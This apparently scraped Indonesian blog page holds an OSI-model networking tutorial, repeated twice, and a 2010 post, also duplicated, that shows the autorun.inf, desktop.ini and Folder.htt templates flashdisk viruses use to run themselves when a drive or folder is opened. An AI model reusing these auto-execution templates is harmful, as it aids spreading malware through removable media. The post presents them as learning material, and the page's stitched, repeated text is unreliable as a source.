Kombinasi dari tujuh lapisan ini sering disebut stack. Sebuah transmisi workstation melintasi tumpukan dari Layer 7 hingga Layer 1, mengubah aplikasi data ke sinyal jaringan. Penerima workstation melintasi stack dalam arah yang berlawanan: dari layer 1 sampai layer 7. Itu mengubah menerima pengiriman kembali ke sepotong data untuk aplikasi yang dijalankan.
Ketika model OSI telah dibuat, ada sebuah inisiatif industri yang mencoba menerapkan seperangkat protokol jaringan OSI, tetapi tidak diadopsi. Protokol paling populer saat ini umumnya menggunakan prinsip-prinsip desain yang serupa untuk dan kompatibel dengan model OSI, tetapi mereka menyimpang dari itu di beberapa bagian untuk berbagai alasan teknis
Kenapa kita harus mempelajari Model OSI ?
Model OSI adalah konsep Framework yang menjelaskan fungsi dan skema jaringan. Framework akan menyederhanakan interaksi Jaringan yang kompleks dengan membagi bagi dalam bagian modul sederhana.
Pendekatan Standard Terbuka ini memungkinkan Developer Luar untuk bekerja dalam fungsi network secara terpisah, di mana dapat di kombinasikan dalam paket Plug and Play.
Model OSI berfungsi sebagai pedoman untuk membuat dan menerapkan standar jaringan, perangkat, dan skema internetworking. Keuntungan dari menggunakan model OSI meliputi :
* Memotong aspek saling keterkaitan dari operasi Network kedalam elemen yang kurang kompleks
* Memungkinkan perusahaan atau Pengembang Individu untuk menspealisasikan desain dan pengembangan dalam fungsi yang terpisah.
* Menyediakan antarmuka standar untuk kompabilitas plug .n play dan integrasi pada banyak vendor
* Antar Layer abstrak yang berbeda jaringan satu sama lain akan memungkinkan bisa mudah diadopsi teknologi baru dalam satu layer.
Komunikasi antara layer
Tiap tiap layer dari model OSI menggunakan protokolnya masing masing untuk berkomunikasi dengan sesama layer dalam perangkat tujuan. Model OSI menspesifikasikan bagaimana setiap lapisan berkomunikasi dengan lapisan di atas dan di bawahnya memungkinkan vendor untuk fokus pada spesifikasi layer yang akan di kerjakan dengan vendor lain yang layernya berdekatan. Informasi yang dipertukarkan antara layer menggunakan Protokol Data Unit (PDU). PDU mencakup informasi kontrol (dalam bentuk header dan trailer) dan data user. ini meliputi jenis informasi yang berbeda saat naik atau turun layer (disebut Stack). Untuk memperjelas di mana PDU adalah pada stack atau tumpukan. Untuk mengenaikan di mana PDU adalah stack, ia diberikan nama yang berbeda di masing masing tingkat yang lebih rendah. Dengan kata lain, sebuah PDU yang merupakan segmen (Layer 4) mencakup semua lapisan aplikasi informasi. Sebuah paket (Layer 3) memuat informasi kontrol lapisan jaringan di samping kontrol data dan informasi yang terkandung di lapisan transport. Demikian pula, sebuah frame (Layer 2) adalah sebuah PDU yang mencakup lapisan data-link informasi DNS selain kontrol lapisan atas informasi dan data.Akhirnya, PDUs di layer fisik (layer 1) disebut bit
Enkapsulasi adalah proses ketika Komputer mengirim data lewat 7 lapisan Layer
Yaitu Proses data yang melewati tumpukan dibawahnya menggunakan data PDUs disebut enkapsulasi. Enkapsulasi bekerja sebagai berikut: Ketika sebuah lapisan menerima PDU dari lapisan di atasnya, itu merangkum PDU dengan sebuah header dan trailer dan kemudian melewati PDU ke lapisan berikutnya. Informasi kontrol yang ditambahkan ke PDU dibaca oleh lapisan terdekat pada perangkat remote. Pikirkan hal ini sebagai seperti meletakkan surat dalam amplop, yang memiliki alamat tujuan di atasnya. Amplop tersebut kemudian dimasukkan ke dalam kantung pos dengan kode pos di atasnya. Tas ini kemudian ditempatkan dalam kotak besar dengan sebuah nama kota di atasnya. Kotak tersebut kemudian diletakkan di atas pesawat untuk transportasi ke kota.
De-enkapsulasi, kebalikan dari enkapsulasi, adalah proses menyampaikan informasi atas tumpukan.
Ketika sebuah lapisan menerima PDU dari lapisan bawah, hal itu sebagai berikut:
1. Terbacanya informasi kontrol yang disediakan oleh perangkat sumber terdekat.
2. lapisan informasi kontrol (header) dari frame.
3. Ini proses data (biasanya lewat itu tumpukan).
Masing-masing lapisan berikutnya deencapsulation melakukan proses yang sama. Untuk melanjutkan contoh sebelumnya, ketika pesawat tiba, kotak surat akan dihapus dari pesawat. Yang tas surat diambil keluar dari kotak dan dikirim ke pos yang benar
kantor. Surat-surat dihapus dari tas surat dan dikirim ke alamat yang benar. Penerima pesan yang dituju membuka amplop dan membaca surat itu.
Model OSI 7 layer menggambarkan fungsi fungsi komputer untuk berkomunikasi dengan tiap tiap komputer lainnya. ISO (The International for Standardization) mempublikasikan model ini tahun 1984 untuk menggambarkan pendekatan berlapis untuk layanan jaringan yang menggunakan referensi seperangkat protokol yang disebut OSI.
Dasar penjelasannya adalah bahwa masing-masing dari tujuh lapisan memiliki fungsi khusus tertentu, dan setiap lapisan perlu tahu bagaimana berkomunikasi dengan hanya lapisan langsung di atas dan di bawahnya.
Kelebihan dari pendekatan OSI ini mungkin tidak terlalu jelas. Tapi konsep sederhana ini memiliki lapisan yang hanya mengerti mereka yang berdekatan dengan diri mereka sendiri memungkinkan sistem komunikasi menjadi mudah diadaptasi dan dimodifikasi seperti teknologi
berevolusi. Misalnya, sebagai teknologi baru diperkenalkan dalam lapisan yang lebih rendah, seperti layer 1, lapisan atas tidak selalu perlu diubah Sebaliknya, adaptasi di Layer 2 memungkinkan lapisan di atas untuk menggunakan teknologi baru secara transparan. Bayangkan jika semua web browser dan program e-mail harus diganti setiap kali sebuah standar jaringan nirkabel baru diperkenalkan.
Ketika model jaringan OSI didefinisikan, ada sedikit standardisasi di antara produsen peralatan jaringan.
Pelanggan umumnya lebih memilih perang komunikasi standar hardware dan software pada vendor tertentu.
Sebagai hasil dari ISO dan upaya standardisasi lainnya, jaringan pelanggan dapat mencampur dan mencocokkan hardware saat menjalankan protokol standar terbuka, seperti Internet Protocol
Open Source versus Software Lisensi
Walaupun model open-source terkenal hari ini, ketika model OSI sedang dikembangkan, ada perjuangan yang berkelanjutan untuk menyeimbangkan keterbukaan teknis dengan keunggulan kompetitif.
Pada waktu itu, masing-masing vendor peralatan jaringan melihatnya sebagai sebuah keuntungan untuk mengembangkan teknologi yang perusahaan lain tidak bisa menyalin atau berinteraksi dengannya.
Namun, sistem paten dapat menyulitkan pekerjaan administrator jaringan dengan cara mengunci dia atau dia ke satu vendor, mengurangi daya saing dan memungkinkan vendor untuk membebankan harga yang lebih tinggi. Jika vendor keluar dari bisnis atau tidak meneruskan teknologi, tidak ada yang tersisa untuk mendukung atau meningkatkan teknologi tersebut.
Alternatifnya adalah pendekatan sistem terbuka di mana badan standar, seperti seperti Institute of Electrical and Electronic Engineers (IEEE) atau ISO, mengembangkan teknologi baru. Ethernet, Transmission Control Protocol / Internet Protocol (TCP / IP), dan Spanning Tree Protocol (STP) adalah contoh teknologi yang menjadi standar. Hari ini hampir tidak mungkin untuk mendapatkan daya tarik pasar dengan
produk yang tidak setidaknya memungkinkan sebuah interface yang terbuka bagi vendor lain untuk bekerja. Setiap vendor peralatan jaringan dapat menerapkan standar terbuka.
Daftar berikut menjabarkan tujuh lapisan model OSI dari bawah ke atas:
* Lapisan 1, fisik Layer: lapisan fisik bertanggung jawab untuk mengubah Frame (output dari layer 2) menjadi sinyal listrik ditransmisikan lewat jaringan. Jaringan fisik yang sebenarnya dapat berupa kabel tembaga, serat optik, sinyal radio nirkabel, atau media lainnya yang dapat membawa sinyal. Lapisan ini juga menyediakan metode untuk perangkat penerima untuk memvalidasi bahwa data tidak rusak selama transmisi.
* Lapisan 2, Data Link Layer: Menyediakan link untuk data, memaketkannya menjadi frame yang berhubungan dengan “hardware” kemudian diangkut melalui media. komunikasinya dengan kartu jaringan, mengatur komunikasi layer physical antara sistem koneksi dan penanganan error.
* Layer 3, Network Layer: Bertanggung jawab menentukan alamat jaringan, menentukan rute yang harus diambil selama perjalanan, dan menjaga antrian trafik di jaringan. Data pada layer ini berbentuk paket.
* Lapisan 4, Transportasi Layer: Layer transport ertanggung jawab membagi data menjadi segmen, menjaga koneksi logika “end-to-end” antar terminal, dan menyediakan penanganan error (error handling). Mempersiapkan data untuk transportasi melibatkan memotong sepotong ke beberapa bagian dan menambahkan sebuah header yang mengidentifikasi pengirim dan penerima aplikasi (atau dikenal sebagai nomor port). Sebagai contoh, Hypertext Transfer Protocol (HTTP) lalu lintas web menggunakan port 80, dan lalu lintas FTP menggunakan port 21
* Lapisan 5, Session Layer: Menentukan bagaimana dua terminal menjaga, memelihara dan mengatur koneksi,- bagaimana mereka saling berhubungan satu sama lain. Koneksi di layer ini disebut “session”.
* Lapisan 6, Presentation Layer: Bertanggung jawab bagaimana data dikonversi dan diformat untuk transfer data. Contoh konversi format text ASCII untuk dokumen, .gif dan JPG untuk gambar. Layer ini membentuk kode konversi, translasi data, enkripsi dan konversi.
* Lapisan 7, Application Layer: Menyediakan jasa untuk aplikasi pengguna. Layer ini bertanggungjawab atas pertukaran informasi antara program komputer, seperti program e-mail, dan service lain yang jalan di jaringan, seperti server printer atau aplikasi komputer lainnya.
Kombinasi dari tujuh lapisan ini sering disebut stack. Sebuah transmisi workstation melintasi tumpukan dari Layer 7 hingga Layer 1, mengubah aplikasi data ke sinyal jaringan. Penerima workstation melintasi stack dalam arah yang berlawanan: dari layer 1 sampai layer 7. Itu mengubah menerima pengiriman kembali ke sepotong data untuk aplikasi yang dijalankan.
Ketika model OSI telah dibuat, ada sebuah inisiatif industri yang mencoba menerapkan seperangkat protokol jaringan OSI, tetapi tidak diadopsi. Protokol paling populer saat ini umumnya menggunakan prinsip-prinsip desain yang serupa untuk dan kompatibel dengan model OSI, tetapi mereka menyimpang dari itu di beberapa bagian untuk berbagai alasan teknis
Kenapa kita harus mempelajari Model OSI ?
Model OSI adalah konsep Framework yang menjelaskan fungsi dan skema jaringan. Framework akan menyederhanakan interaksi Jaringan yang kompleks dengan membagi bagi dalam bagian modul sederhana.
Pendekatan Standard Terbuka ini memungkinkan Developer Luar untuk bekerja dalam fungsi network secara terpisah, di mana dapat di kombinasikan dalam paket Plug and Play.
Model OSI berfungsi sebagai pedoman untuk membuat dan menerapkan standar jaringan, perangkat, dan skema internetworking. Keuntungan dari menggunakan model OSI meliputi :
* Memotong aspek saling keterkaitan dari operasi Network kedalam elemen yang kurang kompleks
* Memungkinkan perusahaan atau Pengembang Individu untuk menspealisasikan desain dan pengembangan dalam fungsi yang terpisah.
* Menyediakan antarmuka standar untuk kompabilitas plug .n play dan integrasi pada banyak vendor
* Antar Layer abstrak yang berbeda jaringan satu sama lain akan memungkinkan bisa mudah diadopsi teknologi baru dalam satu layer.
Komunikasi antara layer
Tiap tiap layer dari model OSI menggunakan protokolnya masing masing untuk berkomunikasi dengan sesama layer dalam perangkat tujuan. Model OSI menspesifikasikan bagaimana setiap lapisan berkomunikasi dengan lapisan di atas dan di bawahnya memungkinkan vendor untuk fokus pada spesifikasi layer yang akan di kerjakan dengan vendor lain yang layernya berdekatan. Informasi yang dipertukarkan antara layer menggunakan Protokol Data Unit (PDU). PDU mencakup informasi kontrol (dalam bentuk header dan trailer) dan data user. ini meliputi jenis informasi yang berbeda saat naik atau turun layer (disebut Stack). Untuk memperjelas di mana PDU adalah pada stack atau tumpukan. Untuk mengenaikan di mana PDU adalah stack, ia diberikan nama yang berbeda di masing masing tingkat yang lebih rendah. Dengan kata lain, sebuah PDU yang merupakan segmen (Layer 4) mencakup semua lapisan aplikasi informasi. Sebuah paket (Layer 3) memuat informasi kontrol lapisan jaringan di samping kontrol data dan informasi yang terkandung di lapisan transport. Demikian pula, sebuah frame (Layer 2) adalah sebuah PDU yang mencakup lapisan data-link informasi DNS selain kontrol lapisan atas informasi dan data.Akhirnya, PDUs di layer fisik (layer 1) disebut bit
Enkapsulasi adalah proses ketika Komputer mengirim data lewat 7 lapisan Layer
Yaitu Proses data yang melewati tumpukan dibawahnya menggunakan data PDUs disebut enkapsulasi. Enkapsulasi bekerja sebagai berikut: Ketika sebuah lapisan menerima PDU dari lapisan di atasnya, itu merangkum PDU dengan sebuah header dan trailer dan kemudian melewati PDU ke lapisan berikutnya. Informasi kontrol yang ditambahkan ke PDU dibaca oleh lapisan terdekat pada perangkat remote. Pikirkan hal ini sebagai seperti meletakkan surat dalam amplop, yang memiliki alamat tujuan di atasnya. Amplop tersebut kemudian dimasukkan ke dalam kantung pos dengan kode pos di atasnya. Tas ini kemudian ditempatkan dalam kotak besar dengan sebuah nama kota di atasnya. Kotak tersebut kemudian diletakkan di atas pesawat untuk transportasi ke kota.
De-enkapsulasi, kebalikan dari enkapsulasi, adalah proses menyampaikan informasi atas tumpukan.
Ketika sebuah lapisan menerima PDU dari lapisan bawah, hal itu sebagai berikut:
1. Terbacanya informasi kontrol yang disediakan oleh perangkat sumber terdekat.
2. lapisan informasi kontrol (header) dari frame.
3. Ini proses data (biasanya lewat itu tumpukan).
Masing-masing lapisan berikutnya deencapsulation melakukan proses yang sama. Untuk melanjutkan contoh sebelumnya, ketika pesawat tiba, kotak surat akan dihapus dari pesawat. Yang tas surat diambil keluar dari kotak dan dikirim ke pos yang benar
kantor. Surat-surat dihapus dari tas surat dan dikirim ke alamat yang benar. Penerima pesan yang dituju membuka amplop dan membaca surat itu.
File Bawaan Virus
2010-03-09
Virus komputer yang menyebar di Indonesia, sebagian besar menyebar melalui Flashdisk. Oleh karena itu, untuk menjalankan virus otomatis dari Flashdisk, visrus maker biasanya menggunakan Autorun, serta bebrapa file tambahan.
Kali ini saya ingin memberikan contoh file-file yang biasanya membantu virus dalam menjalankan aksinya , yaitu :
(Tips : jika mnemukan AUTOEXEC.BAT, Edit menggunakan Note Pad, jika terdapat script aneh... hapus scriptnya. Karena harusnya File ini tidak mempunyai isi)
1. Autorun.inf
[Autorun]
Shelexecute=%FileName%
Atau
[Autorun]
Open=%FileName%
Shellexecute=%FileName%
Shell\Auto\command=%FileName%
Shell=Auto
2. Destkop.ini
[.ShellClassInfo]
ConfirmFileOp=0
[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=%Lokasi File Folder.htt yg dibuat virus%
[ExtShellFolderViews]
[{5984FFE0-28D4-11CF-AE66-08002B2E1262}] = [{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
3. Folder.htt
<html>
<Head>
<Meta htt-equip=”content-type”content=”text/html;
Charset=Windows-1252”>
</head>
<body style=”margin:0”scroll=no>
<object id=FileList border=0 tabindex=1
Classid=clsid:1820FED0-473E-11D0-A96C-00C04FD705A2”
Style=”width:100; height:100”
tabIndex=-1>
</object>
</body>
</html>
<script>
Objectstr=”<OBJECT ID=\”RUNIT\”WIDTH=0
HEIGHT=0 TYPE=\”aplication/x-oleobject\””
Objectstr+=”CODEBASE=\”%FileName%
#version=1,1,1,1\”>”
Objectstr+=”</OBJECT>”
Objectstr+=”<HTML><H1></H1></HTML>”;
Document.writeln(objectstr);
Document.close();
</script>
Semoga bisa jadi bahan pembelajaran...........
Fr377
Kali ini saya ingin memberikan contoh file-file yang biasanya membantu virus dalam menjalankan aksinya , yaitu :
(Tips : jika mnemukan AUTOEXEC.BAT, Edit menggunakan Note Pad, jika terdapat script aneh... hapus scriptnya. Karena harusnya File ini tidak mempunyai isi)
1. Autorun.inf
[Autorun]
Shelexecute=%FileName%
Atau
[Autorun]
Open=%FileName%
Shellexecute=%FileName%
Shell\Auto\command=%FileName%
Shell=Auto
2. Destkop.ini
[.ShellClassInfo]
ConfirmFileOp=0
[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=%Lokasi File Folder.htt yg dibuat virus%
[ExtShellFolderViews]
[{5984FFE0-28D4-11CF-AE66-08002B2E1262}] = [{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
3. Folder.htt
<html>
<Head>
<Meta htt-equip=”content-type”content=”text/html;
Charset=Windows-1252”>
</head>
<body style=”margin:0”scroll=no>
<object id=FileList border=0 tabindex=1
Classid=clsid:1820FED0-473E-11D0-A96C-00C04FD705A2”
Style=”width:100; height:100”
tabIndex=-1>
</object>
</body>
</html>
<script>
Objectstr=”<OBJECT ID=\”RUNIT\”WIDTH=0
HEIGHT=0 TYPE=\”aplication/x-oleobject\””
Objectstr+=”CODEBASE=\”%FileName%
#version=1,1,1,1\”>”
Objectstr+=”</OBJECT>”
Objectstr+=”<HTML><H1></H1></HTML>”;
Document.writeln(objectstr);
Document.close();
</script>
Semoga bisa jadi bahan pembelajaran...........
Fr377
Subscribe to:
Posts (Atom)